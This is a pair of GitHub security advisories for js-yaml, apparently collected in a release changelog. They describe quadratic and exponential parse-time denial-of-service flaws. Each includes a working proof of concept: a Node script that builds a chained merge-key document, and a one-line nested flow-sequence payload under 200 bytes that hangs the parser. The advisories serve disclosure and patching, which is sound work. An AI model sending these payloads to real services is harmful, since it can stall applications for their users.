Details

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m
• https://nvd.nist.gov/vuln/detail/CVE-2026-59869
• https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7
• https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4
• https://github.com/nodeca/js-yaml/releases/tag/3.15.0
• https://github.com/nodeca/js-yaml/releases/tag/4.3.0
• https://github.com/advisories/GHSA-52cp-r559-cp3m

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Parsing a small YAML document can take exponential time. An application that calls load() or loadAll() on untrusted input can be hung by a payload under 200 bytes.

Details

When an entry in a flow sequence turns out to be a key: value pair, the parser rewinds and parses that entry a second time as the key.
If the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default maxDepth of 100 does not help, because the time is already unmanageable at about 30 to 40 levels.

Root cause, potentially the: readFlowCollection in parser.ts, the restoreState followed by a second parseNode further down.

PoC

const yaml = require('js-yaml')
const n = 30
yaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n))

With default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with n.

Impact

Denial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5
• https://github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853
• https://github.com/nodeca/js-yaml/releases/tag/5.2.2
• https://github.com/advisories/GHSA-pm4m-ph32-ghv5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

v5.2.2

Compare Source

Fixed

• Quote flow scalars where a colon precedes a flow indicator, #​773.

Security

• Avoid exponential parsing time for nested flow sequence pairs.